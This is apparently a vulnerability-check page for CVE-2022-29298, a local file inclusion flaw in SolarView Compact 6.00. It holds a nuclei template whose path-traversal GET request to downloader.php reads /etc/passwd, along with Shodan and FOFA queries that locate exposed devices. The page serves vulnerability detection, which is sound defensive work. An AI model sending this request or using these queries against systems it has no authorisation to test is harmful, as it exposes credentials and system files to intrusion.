SolarView Compact 6.00 - Local File Inclusion

highseverity

7.5CVSS score

46.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.

Fix

Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00.

How to confirm it

Send: GET {{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-29298 -u <target>

The full check

id: CVE-2022-29298

info:
  name: SolarView Compact 6.00 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00.
  reference:
    - https://www.exploit-db.com/exploits/50950
    - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
    - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29298
    - https://github.com/20142995/pocsuite3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29298
    cwe-id: CWE-22
    epss-score: 0.46803
    epss-percentile: 0.98836
    cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: sv-cpt-mc310_firmware
    shodan-query:
      - http.html:"SolarView Compact"
      - http.html:"solarview compact"
    fofa-query: body="solarview compact"
  tags: cve,cve2022,lfi,solarview,edb,contec,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from